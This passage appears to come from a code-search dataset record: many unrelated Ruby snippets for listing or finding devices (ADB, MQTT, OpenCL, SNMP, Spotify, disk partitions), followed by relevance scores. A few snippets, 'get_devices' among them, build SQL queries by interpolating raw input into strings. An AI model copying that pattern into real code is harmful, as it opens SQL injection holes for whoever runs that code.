apply_scopes(Device).all.search(params[:q])\n @devices = @q.result(distinct: true).page(params[:page])\n\n respond_with(@devices)\n end", "def index\n @catalog_devices = Catalog::Device.all\n end", "def listOfDevices()\n\tignorecount = 0;\n\treturnHash = Hash.new\n\tc = MQTT::Client.connect(@host)\n\tc.subscribe('devices/#')\n\tbegin\n\t# if we get 5 \"ignorable\" messages in a row, assume we are done.\n\twhile ignorecount < 5 do\n\t\tTimeout::timeout(2) do\n\t\t topic,message = c.get()\n\t\t #puts \"#{topic}: #{message}\"\n\n\n\t\t # ignore any broadcast messages lurking about\n\t\t next if /\\$broadcast/ =~ topic\n\n\t\t # pull the device name out of the message topic\n\t\t device = topic.sub(/devices\\/([a-zA-Z0-9\\-]+)\\/.*/, '\\1')\n\t\t if ! returnHash[device]\n\t\t \treturnHash[device] = Hash.new\n\t\t end\n\n\t\t # get the rest of the topic, including sub topics.\n\t\t deviceTopic = topic.sub(/devices\\/#{device}\\/(.*)/, '\\1')\n\n\t\t # If this message is overwriting an existing message\n\t\t # then we are not getting new device information\n\t\t if returnHash[device][deviceTopic].nil?\n\t\t \tignorecount = 0\n\t\t else\n\t\t\tignorecount += 1\n\t\t end\n\n\t\t returnHash[device][deviceTopic] = message\n\t\tend\n\tend\n\trescue Timeout::Error\n\t\t# Ignore the timeout error, just means we are not waiting for more.\n\t\t# Mostly this is a hack to get the persistent messages only.\n\tend\n\n\tc.disconnect\n\treturn returnHash\nend", "def list_devices(multi)\n\t\t\tmulti = $redis.get_multi_id multi\n\t\t\tif $redis.knows_multi? multi\n\t\t\t\tputs \"=== Sensors ===\"\n\t\t\t\t$redis.list(:sensor, multi).sort.each do |pin, conf|\n\t\t\t\t\ts = \"#{pin} : #{conf[:name]} #{conf[:profile]}\"\n\t\t\t\t\ts << \" - Period : #{conf[:period]}\" if conf[:period]\n\t\t\t\t\tputs s\n\t\t\t\tend\n\t\t\t\tputs \"=== Actuators ===\"\n\t\t\t\t$redis.list(:actuator, multi).sort.each do |pin, conf|\n\t\t\t\t\ts = \"#{pin} : #{conf[:name]} #{conf[:profile]}\"\n\t\t\t\t\ts << \" - Period : #{conf[:period]}\" if conf[:period]\n\t\t\t\t\tputs s\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tputs \"The multiplexer doesn't exist\"\n\t\t\tend\n\t\tend", "def command_get_device_list(command)\n\t\tdir = File.join(@module_dir, \"device\", \"*.rb\")\n\t\tDir.glob(dir) {|file| message(\" #{File.basename(file, \".rb\")}\") }\n\tend", "def get_devices\n devices = []\n run_adb(\"devices\") do |pout|\n pout.each do |line|\n line = line.strip\n if (!line.empty? && line !~ /^List of devices/)\n parts = line.split\n device = AndroidAdb::Device.new(parts[0], parts[1])\n devices << device\n end\n end\n end\n return devices\n end", "def adb_scan(verbose = false)\n adb_devices = []\n\n $adb_ports.each { |port|\n cmd = [ 'adb', '-P', port.to_s, 'devices' ]\n Open3.popen3(*cmd) { |sin, sout, serr, thr|\n pid = thr[:pid]\n outlines = sout.readlines\n errlines = serr.readlines\n\n if errlines.length > 0\n $stderr.puts \"ERROR:\"\n\n errlines.each { |ln|\n $stderr.puts ln\n }\n end\n\n outlines.each { |ln|\n ln.chomp!\n ln.strip!\n next if ln.length < 1\n next if ln == \"List of devices attached\"\n next if ln[0,1] == \"*\"\n\n parts = ln.split(\"\\t\")\n serial = parts.first\n adb_devices << [ port, serial ]\n }\n }\n }\n\n if verbose\n adl = adb_devices.length\n apl = $adb_ports.length\n $stderr.puts \"[*] Found #{adl} device#{plural(adl)} on #{apl} server#{plural(apl)} via 'adb devices'\"\n end\n\n return adb_devices\nend", "def physical_devices\n @instruments_physical_devices ||= lambda do\n fetch_devices[:out].chomp.split(\"\\n\").map do |line|\n udid = line[DEVICE_UDID_REGEX, 0]\n if udid\n version = line[VERSION_REGEX, 0]\n if version\n name = line.split('(').first.strip\n if name\n RunLoop::Device.new(name, version, udid)\n end\n end\n else\n nil\n end\n end.compact\n end.call\n end", "def get_synthetics_devices\n request(Net::HTTP::Get, \"/api/#{API_VERSION}/synthetics/browser/devices\", nil, nil, false)\n end", "def devices=(value)\n @devices = value\n end", "def devices(type = Device::Type::ALL)\n ptr1 = MemoryPointer::new(:cl_uint , 1)\n error = OpenCL.clGetDeviceIDs(self, type, 0, nil, ptr1)\n error_check(error)\n ptr2 = MemoryPointer::new(:pointer, ptr1.read_uint)\n error = OpenCL.clGetDeviceIDs(self, type, ptr1.read_uint(), ptr2, nil)\n error_check(error)\n return ptr2.get_array_of_pointer(0, ptr1.read_uint()).collect { |device_ptr|\n Device::new(device_ptr, false)\n }\n end", "def server_devices_list\n if !ccl_active? or (session[:usertype] != \"admin\" and ccl_active?)\n dont_be_so_smart\n redirect_to :controller => \"callc\", :action => \"main\" and return false\n end\n @page_title = _('Server_devices')\n @page_icon = 'server.png'\n @help_link = \"http://wiki.kolmisoft.com/index.php/Multi_Server_support\"\n # ip_auth + server_devices.server_id is null + server_devices.server_id is not that server + not server device(which were created with server creation)\n @devices = Device.select(\"devices.*,server_devices.server_id AS serv_id\").joins(\"LEFT JOIN server_devices ON (server_devices.device_id = devices.id AND server_devices.server_id = #{params[:id].to_i}) LEFT JOIN users ON (users.id = devices.user_id)\").where(\"(host != 'dynamic' OR device_type != 'SIP') AND users.owner_id = #{current_user.id} AND server_devices.server_id is null AND user_id != -1 AND name not like 'mor_server_%'\").order(\"extension ASC\").all\n end", "def devices\n url = \"me/player/devices\"\n response = RSpotify.resolve_auth_request(@id, url)\n\n return response if RSpotify.raw_response\n response['devices'].map { |i| Device.new i }\n end", "def autodiscover_devices\n logger.debug 'Discovering information about storage subsystem (HDD and MD devices)'\n @storage_information = HddAutodiscover.new(STORAGE_CONFIG[:volume_name])\n collected = @storage_information.collect()\n\n assert [:storage, :free_space, collected[:lvm][:free]]\n collected[:hdd].each do |hdd|\n assert [:hdd, hdd.device, :sn, hdd.sn]\n assert [:hdd, hdd.device, :temperature, hdd.temperature]\n assert [:hdd, hdd.device, :health, hdd.health]\n end\n end", "def select_storage_devices(component)\n pci_devices = component.try(:pciDevices).try(:select) { |device| storage_device?(device) }\n addin_cards = component.try(:addinCards).try(:select) { |device| storage_device?(device) }\n\n devices = []\n devices.concat(pci_devices) if pci_devices.present?\n devices.concat(addin_cards) if addin_cards.present?\n devices\n end", "def get_current_devices(output)\n lines = output.split(\"\\n\")\n partitions = lines.drop(2).map do |line|\n line.chomp.split.last\n end\n partitions.reject! do |partition|\n partition =~ /^dm-\\d/\n end\n devices = partitions.select do |partition|\n partition =~ /[a-z]$/\n end\n devices.sort!.map! {|device| \"/dev/#{device}\"}\n if devices.empty?\n devices = partitions.select do |partition|\n partition =~ /[0-9]$/\n end.sort.map {|device| \"/dev/#{device}\"}\n end\n devices\n end", "def devices\n Device.where(\"usernames @> ARRAY[?]::varchar[]\", [username])\n .or(Device.where(\"projects @> ARRAY[?]::varchar[]\", [name]))\n end", "def get_devices option\n where_clause = []\n\n option.each do |key, value|\n key = key.to_s\n case key\n when 'vendor_name'\n vendor = get_vendor :name => value\n next unless vendor['id']\n\n where_clause << \"vendor_id = #{vendor['id']}\"\n when 'vendor_code'\n vendor = get_vendor :code => value\n next unless vendor['id']\n\n where_clause << \"vendor_id = #{vendor['id']}\"\n when 'code'\n where_clause << \"code = #{hex_or_int(value)}\"\n when 'name'\n where_clause << \"name = '#{value}'\"\n end\n end\n\n @handle.execute \"SELECT * from devices WHERE #{where_clause.join(\" and \")}\"\n end", "def index\n @devices = Device.all\n end", "def index\n @devices = Device.all\n end", "def index\n @devices = Device.all\n end", "def index\n @devices = Device.all\n end", "def index\n @devices = Device.all\n end", "def list\n Airplay.devices.each do |device|\n puts <<-EOS.gsub(/^\\s{12}/,'')\n * #{device.name} (#{device.info.model} running #{device.info.os_version})\n ip: #{device.ip}\n mac: #{device.id}\n password?: #{device.password? ? \"yes\" : \"no\"}\n type: #{device.type}\n resolution: #{device.info.resolution}\n\n EOS\n end\n end", "def search(client, params={})\n res = client.get(\"#{PATH}/search\", params)\n\n res.json[\"devices\"].map{ |atts| new(client, atts) } if res.success?\n end", "def scan_devices(devices)\n site_id = devices.map(&:site_id).uniq.first\n xml = make_xml('SiteDevicesScanRequest', 'site-id' => site_id)\n elem = REXML::Element.new('Devices')\n devices.each do |device|\n elem.add_element('device', 'id' => \"#{device.id}\")\n end\n xml.add_element(elem)\n\n _scan_ad_hoc(xml)\n end", "def index\n @devices = @user.devices\n end", "def children\n @@devices.find {|i, v| i == @id }\n end", "def index\n @terminal_devices = TerminalDevice.all\n end", "def get_current_devices(proc_partitions_output)\n lines = proc_partitions_output.split(\"\\n\")\n partitions = lines.drop(2).map do |line|\n line.chomp.split.last\n end.reject do |partition|\n partition =~ /^dm-\\d/\n end\n devices = partitions.select do |partition|\n partition =~ /[a-z]$/\n end.sort.map {|device| \"/dev/#{device}\"}\n if devices.empty?\n devices = partitions.select do |partition|\n partition =~ /[0-9]$/\n end.sort.map {|device| \"/dev/#{device}\"}\n end\n devices\n end", "def managed_devices\n return @managed_devices\n end", "def get_device_list( options )\n devices = options[:device_list]\n devices = [devices].flatten if devices\n devices_p = nil\n num_devices = 0\n if devices and devices.size > 0 then\n num_devices = devices.size\n devices_p = MemoryPointer::new( Device, num_devices)\n devices_p.write_array_of_pointer(devices)\n end\n return [num_devices, devices_p]\n end", "def ssdp_search\n log.info 'Trying SSDP discover...'\n try = 1\n while true do\n response = Frisky::SSDP.search SSDP_SEARCH_TARGET\n if response.present?\n break\n elsif try < SSDP_SEARCH_RETRY\n try += 1\n log.warn \"SSDP discover failed, retrying... (#{try}/#{SSDP_SEARCH_RETRY})\"\n sleep(SSDP_RETRY_INTERVAL)\n else\n raise DeviceNotFound, 'Cannot find camera API server. Please confirm network connection is correct.'\n end\n end\n log.info 'SSDP discover succeeded.'\n\n # get device description\n dd = HTTPClient.new.get_content(response[0][:location])\n # puts dd\n parse_device_description(dd)\n end", "def index\n @device_models = DeviceModel.all\n end", "def index\n# @devices = Device.all\n end", "def san_nics\n x = nics.find_all_by_network_type('san', :order =>:port_name)\n x = [] if x.nil?\n x\n end", "def get_all_device_info\n # @device = Device.where(\"user_id = ?\",current_user[:id])\n # render json: @device\n @devices = User.get_all_user_devices(current_user[:id])\n render json: @devices\n end", "def refresh_devices\n [DEVICES,INPUTS,OUTPUTS,SYNTHESIZERS,SEQUENCERS].each{|collection| collection.clear}\n MidiSystem.getMidiDeviceInfo.each do |device_info| \n java_device = MidiSystem.getMidiDevice(device_info)\n device = Devices::JDevice.from_java(java_device)\n case device.type\n when :sequencer then SEQUENCERS << device\n when :synthesizer then SYNTHESIZERS << device\n when :input then INPUTS << device\n when :output then OUTPUTS << device\n end \n DEVICES << device \n end\n DEVICES\n end", "def index\n @admin_devices = AdminDevice.all\n end", "def find_similar_sunxi_devices(cfgfile, soc_type, dram_size, dram_bus_width)\n return if not File.exists?(cfgfile)\n fh = File.open(cfgfile)\n return if not fh\n results = {}\n fh.each_line {|l|\n # Skip comments\n next if l =~ /^\\s*\\#/\n # Parse the information\n if l =~ /(\\S+)\\s+(\\S+)\\s+(\\d+)\\s*MiB\\s*\\((\\d+)\\-bit\\)/ then\n if ($2 == soc_type || soc_type == nil) &&\n ($3.to_i == dram_size || dram_size == nil) &&\n ($4.to_i == dram_bus_width || dram_bus_width == nil)\n then\n results[$1] = \"\"\n end\n end\n }\n fh.close\n return results\nend", "def disks\n \tbs = {}\n\tnoko_details.xpath('/domain/devices/disk').map do |ddsk|\n\t next if ddsk.xpath('@device').text != \"disk\"\n\t next if ddsk.xpath('@snapshot').text == \"external\"\n\t sf = ddsk.xpath('source/@dev','source/@file').text\n\t td = ddsk.xpath('target/@dev').text\n\t bs[td] = sf\n\tend\n\tbs\n end", "def index\n @devices = current_user.devices\n end", "def all_smartphones\n sp = Smartphone.select('id, model, code').where(state: 'catalog').uniq(&:code)\n # Format to show in filters\n smp = sp.map { |m| [m.model, m.model] }\n return smp\n end", "def san_paths\n san_array_node = self.sans.first.san_array_node\n return [] if san_array_node.nil?\n x = san_array_node.san_interfaces\n return [] if x.length < 1\n xx = x.enum_slice((x.length / 2)).to_a \n # permitation of san controllers\n san_port_array = xx.first.zip(xx.last).flatten(1)\n san_interfaces.map{|saniface| [saniface.first, \n san_port_array[saniface.last.split('.').last.to_i % san_port_array.length].last] }\n end", "def devices(override_opts={})\n response = send_http_request(:get, \"/v1/me/player/devices\", override_opts)\n response[:devices].map do |device|\n Spotify::SDK::Connect::Device.new(device, self)\n end\n end", "def disks\n self.config.hardware.device.grep(RbVmomi::VIM::VirtualDisk)\n end", "def all_ids\n json = JSON.parse(http_client.get(\"mobiledevices\"))\n json[\"mobile_devices\"].map { |c| c[\"id\"] }\n end", "def devices\r\n DevicesController.instance\r\n end", "def index\n @special_device_lists = SpecialDeviceList.all\n end", "def devices()\n return MicrosoftGraph::Devices::DevicesRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def find_by_name(name)\n all.find { |device| name == device.name }\n end", "def detect_devices(devices)\n @device_list = devices ? devices.split(',') : ADB.detect_devices\n end", "def get_all_uuids\n ble_uuids = Hardware.all_ble_uuids.map { |hw| hw.identifier }\n \n render :status => 200, :json => { :uuids => ble_uuids }\n end", "def list_partitions #by nelsongs\n\treturn `fdisk -l | grep /dev | grep -v Disk | awk '{print $1}'`.chomp.split\nend", "def index\n if current_user\n if current_user.is_admin?\n @devices = Device.all\n else\n @devices = Device.where(:user_id => current_user.id)\n end\n else\n redirect_to login_url, :notice => \"Please login to manage your devices\"\n end\n end", "def search(*targets)\n @socket ||= new_socket\n\n if targets.empty? then\n send_search 'ssdp:all'\n else\n targets.each do |target|\n if target == :root then\n send_search 'upnp:rootdevice'\n elsif Array === target and target.first == :device then\n target = [DEVICE_SCHEMA_PREFIX, target.last]\n send_search target.join(':')\n elsif Array === target and target.first == :service then\n target = [SERVICE_SCHEMA_PREFIX, target.last]\n send_search target.join(':')\n elsif String === target and target =~ /\\A(urn|uuid|ssdp):/ then\n send_search target\n end\n end\n end\n\n listen\n sleep @timeout\n\n responses = []\n responses << @queue.pop until @queue.empty?\n responses\n ensure\n stop_listening\n @socket.close if @socket and not @socket.closed?\n @socket = nil\n end", "def get_device(os, seq)\n count=0\n for device in @devices\n class_name = device.class.name\n if(class_name == \"WX2Calabash::AdroidDevice\")\n if(os.eql?(\"android\") || os.eql?(\"mobile\"))\n count = count + 1\n if (count == seq)\n return device\n end\n end\n elsif (class_name == \"WX2Calabash::IOSDevice\")\n if(os.eql?(\"ios\") || os.eql?(\"mobile\"))\n count = count + 1\n if (count == seq)\n p \"class_name = #{class_name}\"\n return device\n end\n end\n elsif (class_name == \"WinPhone\")\n if(os.eql?(\"WinPhone\") || os.eql?(\"mobile\"))\n count = count + 1\n if (count == seq)\n return device\n end\n end\n elsif (class_name == \"WX2Calabash::WinMacDevice\")\n if(os.eql?(\"pc\"))\n count = count + 1\n if (count == seq)\n p \"class_name = #{class_name}\"\n return device\n end\n end\n end\n end\n return nil\nend", "def get_device_group_list\n query_api('device-groups')\n end", "def list_devices request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_list_devices_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Iot::V1::ListDevicesResponse.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end", "def __nrpe_snmp\n\t\t\t\tbegin\n\t\t\t\t\tgem \"snmp\"\n\t\t\t\trescue Gem::LoadError\n\t\t\t\t\t$log.debug \"No snmp library. skipping.\"\n\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\t\trequire \"snmp\"\n\n\t\t\t\tdisks = []\n\t\t\t\tmount_oid = SNMP::ObjectId.new(\"1.3.6.1.2.1.25.3.8.1.2\")\n\t\t\t\tbegin\n\t\t\t\t\tSNMP::Manager.open(:Host => @host, :Community => $snmpcommunity) do |manager|\n\t\t\t\t\t\tmanager.walk(mount_oid) do |row|\n\t\t\t\t\t\t\trow.each { |vb| disks << vb.value.to_s }\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\trescue SNMP::RequestTimeout\n\t\t\t\t\t\treturn false\n\t\t\t\tend\n\t\t\t\treturn disks\n\t\tend", "def index\n @devices = current_user.devices\n end", "def list(refresh=false)\n\t\t\tself.refresh if !ready? or refresh\n\n\t\t\t# return a hash or object representation of the internal model\n\t\t\tn = 0\n\t\t\t@device_number_arr.each { |dev| \n\t\t\t\tprint \"eth#{dev}:\\n\";\n\t\t\t\tprint \"\t#{@private_ip_arr[n]}\";\n\t\t\t\tprint \" => #{@public_ip_arr[n]}\" if not @public_ip_arr[n].include? \"xml\";\n\t\t\t\tprint \"\\n\"; n += 1 }\n\t\tend", "def index\n @q = DeviceManufacturer.search(params[:q])\n @device_manufacturers = @q.result(distinct: true).page(params[:page])\n\n respond_with(@device_manufacturers)\n end", "def index\n @device_groups = DeviceGroup.all\n end", "def modems(opts = {})\n @mm_service = @bus.service(@modem_service)\n @mm_object = @mm_service.object(@modem_bus_path)\n @mm_object.introspect\n NetworkManager::Modem.fetch(@mm_object.EnumerateDevices()[0], service: @mm_service)\n end", "def index\n @rubidevices = Rubidevice.accessible_by(current_ability)\n end", "def find(type, major, minor)\n sync do\n devices.detect do |dev|\n dev.type == type && dev.major == major && dev.minor == minor\n end\n end\n end", "def index\n @devices = current_user.devices.order(:alias_name)\n end", "def catalog(client, params={})\n res = client.get(\"#{PATH}/catalog\", params)\n\n res.json[\"devices\"].map{ |atts| new(client, atts) } if res.success?\n end", "def distinct_network_devices(devices)\n devices.uniq { |device| mount_uuid(device) }\n end", "def device\n xpath '.', 'device'\n end", "def devices=(devices)\n @devices.clear\n @devices += devices\n @devices\n end", "def index\n cmd = `cd ../dispatch-proxy/bin; node dispatch.js list`\n @networks = JSON.parse(cmd).select { |network| network['address'] =~ /\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}/ } - [{\"name\"=>\"lo0\", \"address\"=>\"127.0.0.1\"}]\n # @networks.each { |n| puts \"#{n}\" }\n\n all_network_services = `networksetup -listallnetworkservices `.to_s.split(/\\r?\\n/)[1..-1] # Ignore the first line which describes about the command\n # puts \"All Services #{all_network_services}\"\n \n all_network_services_info = all_network_services.collect do |service| \n info_command = \"networksetup -getinfo '#{service}'\"\n info = `#{info_command}`.to_s.split(/\\r?\\n/)\n info.each_with_object({'name' => service}) { |str, hash| key_value = str.split(':', 2); hash[key_value.first] = key_value.last.strip }\n end\n # puts \"All Services Info #{all_network_services_info}\"\n\n @networks.each do |network|\n matching_network = all_network_services_info.find { |n| n['IP address'] == network['address'] }\n network['full_name'] = matching_network ? matching_network['name'] : network['name']\n end\n end", "def find(a)\n devices.find { |d| d.alias.match(/^#{a}$/i) }\n end", "def get_interfaces\n @list = %x(/usr/sbin/networksetup -listallnetworkservices).split(\"\\n\").drop(1)\n end", "def active_devices(override_opts={})\n devices(override_opts).select(&:active?)\n end", "def distinct_devices\n Device.distinct.pluck(:description)\n end", "def list_modems\n return self.sendcmd(\"modem.get_names\")\n end", "def get_thermostat_list\n create_thermostats(HTTParty.get(\"#{NestApi::API_URL}/devices/thermostats\", query: { auth: @token.access_token }))\n end", "def index\n @devices = Device.all.includes(:browsers)\n json_response(@devices, :ok, [:browsers])\n end", "def available_smartphones_all(country)\n sp = Smartphone.select('id, model, code, price').where('state= ? AND country= ?',\n 'catalog',country).uniq(&:code)\n # Format to show in view\n smp = sp.map { |m| [m.model, m.id] }\n return smp\n end" ]
[ "0.7357605", "0.71659994", "0.71115047", "0.70766914", "0.7033616", "0.7008837", "0.6970478", "0.6959616", "0.68751204", "0.68542933", "0.6784679", "0.677565", "0.6769558", "0.6769322", "0.6706875", "0.66958225", "0.6656071", "0.6555915", "0.65253353", "0.6487926", "0.63601226", "0.6319714", "0.6297838", "0.62903124", "0.62810206", "0.6273614", "0.6253117", "0.6247628", "0.62292254", "0.6184476", "0.618442", "0.6180147", "0.6159335", "0.61443156", "0.6141038", "0.6119582", "0.6101492", "0.6062555", "0.6012266", "0.6012266", "0.6012266", "0.6012266", "0.6012266", "0.5996086", "0.59770894", "0.59209037", "0.59204257", "0.5875897", "0.5860748", "0.58457214", "0.5821449", "0.57922125", "0.5777959", "0.57555115", "0.5747005", "0.5744103", "0.57342666", "0.5725981", "0.5691496", "0.5687369", "0.56791234", "0.5677773", "0.56704086", "0.56557345", "0.5643477", "0.56407666", "0.5638914", "0.5637425", "0.5597466", "0.557979", "0.5536663", "0.5494848", "0.54941094", "0.5485663", "0.5483548", "0.5480572", "0.54734826", "0.5471606", "0.54648185", "0.5459189", "0.543957", "0.5436608", "0.54327166", "0.54293567", "0.5415037", "0.54138684", "0.54050183", "0.5392598", "0.5386621", "0.5386495", "0.53853965", "0.53775895", "0.53764427", "0.5367674", "0.53439915", "0.53411937", "0.5326255", "0.53242916", "0.5320373", "0.53166646", "0.5304547" ]
0.0
-1
Creates a new Expression from an infix expressions string. Builds a binary tree upon initialization.
def initialize(exp) @orig, @tree = exp, create_tree(exp) @prefix, @infix, @postfix = @tree.preorder_traverse, @tree.inorder_traverse, @tree.postorder_traverse end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def to_infix_tree\n return @infix_tree unless @infix_tree.nil?\n \n debug \"\\nfor RPN expression: #{expression}\\nTerm\\tAction\\tStack\"\n stack = []\n expression.split.each do |term|\n if Operators.has_key?(term)\n a, b = stack.pop(2)\n raise ArgumentError, \"not enough operands on the stack\" if b.nil?\n op = InfixNode.new(term)\n op.left = a\n op.right = b\n stack.push(op)\n debug \"#{term}\\t#{Operators[term].english}\\t#{stack.inspect}\"\n else\n begin\n Integer(term) rescue Float(term)\n rescue ArgumentError\n raise ArgumentError, \"cannot handle term: #{term}\"\n end\n stack.push(InfixNode.new(term))\n debug \"#{term}\\tPUSH\\t#{stack.inspect}\"\n end\n end\n @infix_tree = stack.pop\n end", "def initialize(str)\n @expression = str\n @infix_tree = nil\n @value = nil\n end", "def to_infix\n expr = to_infix_tree.to_s\n debug \"Infix = #{expr}\"\n expr\n end", "def stack_eval_infix(string)\n raise \"Bad characters\" if string =~ INVALID_CHARACTERS\n op_stack = LinkedStack.new\n value_stack = LinkedStack.new\n string.chars do | ch |\n case\n when ch =~ /\\d/ || ch == ')'\n if ch == ')'\n raise \"Missing left parenthesis\" if op_stack.empty? || op_stack.top != '('\n op_stack.pop\n else\n value_stack.push(ch.to_i)\n end\n while !op_stack.empty? && op_stack.top =~ OPERATORS\n op = op_stack.pop\n raise \"Missing argument\" if value_stack.empty?\n right_arg = value_stack.pop\n raise \"Missing argument\" if value_stack.empty?\n left_arg = value_stack.pop\n value_stack.push( evaluate(op, left_arg, right_arg) )\n end\n when ch =~ OPERATORS || ch == '('\n op_stack.push(ch)\n end\n end\n raise \"Missing expression\" if value_stack.empty?\n raise \"Too many arguments\" unless value_stack.size == 1\n raise \"Missing argument\" unless op_stack.empty?\n value_stack.pop\nend", "def infixToPostfix(exprStr)\n expression = []\n stack = []\n exprStr.split(/\\s+|\\b/).each do |token|\n if operand? token then\n expression.push token if operand? token\n elsif leftParen? token then\n stack.push token\n elsif operator? token then\n while operator? stack.last\n break if @operators[stack.last][:stack_prec] < @operators[token][:input_prec]\n expression.push stack.pop\n end\n stack.push token\n elsif rightParen? token then\n while operator? stack.last\n if not leftParen? stack.last\n expression.push stack.pop\n else\n stack.pop\n break\n end\n end\n end\n end\n stack.reverse.each {|x| expression.push x}\n expression.join(\" \")\n end", "def toPostfixExpression(infix)\n\t\tstack = []\n\t\tcount = 0\n\t\tinfix.each_char { |ch|\n\t\t\tif ch == ')'\n\t\t\t\tbuffer = []\n\t\t\t\tc = ''\n\t\t\t\twhile (c = stack.pop) != '('\n\t\t\t\t\tbuffer << c\n\t\t\t\tend\n\t\t\t\tstack << combine(buffer.reverse)\n\t\t\telse\n\t\t\t\tstack << ch\n\t\t\tend\n\n\t\t}\n\t\tstack[0]\n\n\tend", "def to_postfix(infix_expr)\n @op_stack = Array.new\n @context_stack = [@op_stack]\n @is_first = true\n\n @postfix_expr = Array.new\n infix_expr.each { |t| eval_token(t) }\n\n check_unclosed_bracket\n @postfix_expr + @op_stack.reverse\n end", "def initialize(str)\n @expression = str\n end", "def build_parse_tree(exp)\n exp_arr = exp.split\n tree_stack = Stack.new\n tree = BinaryTree.new('')\n current_tree = tree\n exp_arr.each do |i|\n if i == '('\n current_tree.insert_left('')\n tree_stack.push(current_tree)\n current_tree = current_tree.left_child\n elsif i.match(/\\d/)\n current_tree.set_root_value(Integer(i))\n parent = tree_stack.pop\n current_tree = parent\n elsif ['+', '-', '*', '/'].include?(i)\n current_tree.set_root_value(i)\n current_tree.insert_right('')\n tree_stack.push(current_tree)\n current_tree = current_tree.right_child\n elsif i == ')'\n current_tree = tree_stack.pop\n else\n fail 'Invalid Argument'\n end\n end\n tree\nend", "def create_tree(exp)\n \toperatorStack, nodeStack = [], []\n \n # define function to create new tree segment\n subtree = Proc.new {\n # pop operands where\n # a [operator] b\n b, a = nodeStack.pop, nodeStack.pop\n\t\t\tnodeStack.push(Tree::Node.new(operatorStack.pop, a, b))\n\t\t}\n \n \texp.split(\"\").each do |c|\n \t\t# Skip whitespace characters\n \t\tif c === \"\\s\"\n \t\t\tnext\n \t\telsif c === ')'\n \t\t\tuntil operatorStack.last === '(' do\n \t\t\t\tsubtree.call\n \t\t\tend\n \t\t\t# remove the remaining open parenthesis\n \t\t\toperatorStack.pop\n \t\telsif %w|+ - * / ^ (|.include? c\n \t\t\tif operatorStack.empty? || c === '('\n \t\t\t\toperatorStack.push(c)\n \t\t\telse\n \t\t\t\twhile precedence_of(operatorStack.last) >= precedence_of(c)\n \t\t\t\t\tsubtree.call\n \t\t\t\tend\n \t\t\t\toperatorStack.push(c)\n \t\t\tend\n \t\telse\n \t\t\tnodeStack.push(Tree::Node.new(c))\n \t\tend\n \tend\n\n \tuntil operatorStack.empty? do\n \t\tsubtree.call\n \tend\n \n # top element of the stack is the root element\n \tTree.new(nodeStack.pop)\n end", "def infix_to_postfix(infix)\n infix = infix.gsub(\" \", \"\")\n symstack = Stack.new\n postfix = \"\"\n infix.chars do |token|\n case \n when operand?(token)\n postfix += token\n when symbol?(token)\n case\n when token == \"(\"\n symstack.push token\n when token == \")\"\n while not symstack.empty? and symstack.peek != \"(\"\n postfix += symstack.pop\n end\n symstack.pop # once more to remove the left paren\n when operator?(token)\n # new operator needs to be pushed on the symstack\n # but first we add to output the ones with equal or higher precedence\n # taking care of keeping left parens on the stack\n while ( not symstack.empty? and\n operator?(symstack.peek) and\n higher_or_equal_precedence?(symstack.peek,token)\n )\n postfix += symstack.pop\n end\n symstack.push(token)\n end\n end\n end\n # empty the symstack of remaining operators\n while not symstack.empty?\n postfix += symstack.pop\n end\n postfix\n end", "def recursive_eval_infix(string)\n raise \"Bad characters\" if string =~ INVALID_CHARACTERS\n source = StringEnumerator.new(string)\n result = eval_infix(source)\n raise \"Extra characters at the end of the expression\" unless source.empty?\n result\nend", "def eval_infix(source)\n ch = source.current\n source.next\n if ch == '('\n left_arg = eval_infix(source)\n raise \"Missing right parenthesis\" unless source.current == ')'\n source.next\n elsif ch =~ /\\d/\n left_arg = ch.to_i\n else\n raise \"Missing argument\"\n end\n while source.current =~ OPERATORS\n op = source.current\n ch = source.next\n if ch == '('\n source.next\n right_arg = eval_infix(source)\n raise \"Missing right parenthesis\" unless source.current == ')'\n elsif ch =~ /\\d/\n right_arg = ch.to_i\n else\n raise \"Missing argument\"\n end\n left_arg = evaluate(op, left_arg, right_arg)\n source.next\n end\n left_arg\nend", "def parse(expr)\n eval(\"[#{expr}]\")\n end", "def parse_left_infix(opsym, opcon)\n opupdate = ->(f, e1 ,e2) {opcon.call(f.call(e1), e2) }\n sof = ->(x) { x }\n method(:parse_ginfix).curry.call(opsym, opupdate, sof)\n end", "def build\n nodes = []\n chars = []\n\n expression.each_char do |character|\n\n if '(' == character\n\n chars << character\n\n elsif /\\d+/.match(character)\n\n nodes.push Tree.new(character.to_i)\n\n elsif operands.include?(character)\n\n while(chars.any? && chars.last != '(')\n t = Tree.new(chars.pop)\n t.right = nodes.pop\n t.left = nodes.pop\n nodes << t\n end\n\n chars << Operation::OPERATIONS[character].new\n\n elsif ')' == character\n\n while(chars.any? && chars.last != '(')\n t = Tree.new(chars.pop)\n t.right = nodes.pop\n t.left = nodes.pop\n nodes << t\n end\n\n chars.pop\n\n end\n\n end\n\n unless nodes.empty? && chars.empty?\n self.root = Tree.new(chars.pop)\n root.right = nodes.pop\n root.left = nodes.pop\n end\n\n raise \"Ka-Blam! You still have nodes and/or chars\" if nodes.any? || chars.any?\n\n root\n end", "def evaluatePostfix(exprStr)\n stack = []\n exprStr.split(\" \").each do |token|\n if operand? token then\n stack.push token\n elsif operator? token then\n y = stack.pop\n x = stack.pop\n stack.push applyOperator(x, y, token)\n end\n end\n stack.pop\n end", "def detect_exp(str)\n \n node = nil\n exp = str.slice!(/^[0-9]+/)\n\n if exp != nil # is digit\n node = Node.new(exp)\n str = str.sub(/#{exp}/,\"\")\n else\n # check if is operator\n exp = @grammar.search(str)\n node = exp[1]\n str = exp[0]\n #if (exp != nil)\n # exp = exp[:out]\n # node = Node.new(exp, Type::OPERATOR)\n #end\n end\n\n\n\n return [str, node]\n\n end", "def parse_expr str\n parse(str, 